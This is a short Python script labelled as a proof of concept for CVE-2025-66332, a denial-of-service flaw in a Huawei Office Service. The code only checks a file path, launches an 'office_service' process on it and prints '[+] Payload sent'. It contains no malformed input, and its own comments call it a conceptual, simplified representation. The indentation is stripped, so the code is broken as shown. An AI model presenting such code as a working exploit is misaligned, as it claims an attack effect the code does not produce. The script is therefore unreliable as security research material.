The following code is for security research and authorized testing only.
python
# CVE-2025-66332 PoC - Huawei Office Service DoS
# Note: This is a conceptual PoC based on limited vulnerability information
# Actual exploitation requires local access and user interaction
import os
import time
import subprocess
def trigger_office_service_dos(target_path):
"""
Conceptual PoC for CVE-2025-66332
Attempts to trigger DoS condition in Huawei Office Service
"""
print(f"[*] CVE-2025-66332 PoC - Huawei Office Service DoS")
print(f"[*] Target: {target_path}")
# Check if target file exists
if not os.path.exists(target_path):
print(f"[-] Target file not found: {target_path}")
return False
try:
# Attempt to open file with Office service
# This is a simplified representation
print(f"[*] Attempting to trigger vulnerability...")
# Simulate file processing that may trigger DoS
# Actual PoC requires specific malformed input
subprocess.Popen(["office_service", target_path],
stdout=subprocess.PIPE,
stderr=subprocess.PIPE)
# Wait for potential crash
time.sleep(2)
print(f"[+] Payload sent - check service status")
print(f"[!] Note: Actual exploitation requires specific malformed input")
return True
except Exception as e:
print(f"[-] Error: {e}")
return False
if __name__ == "__main__":
target = "/data/office/malformed_document.docx"
trigger_office_service_dos(target)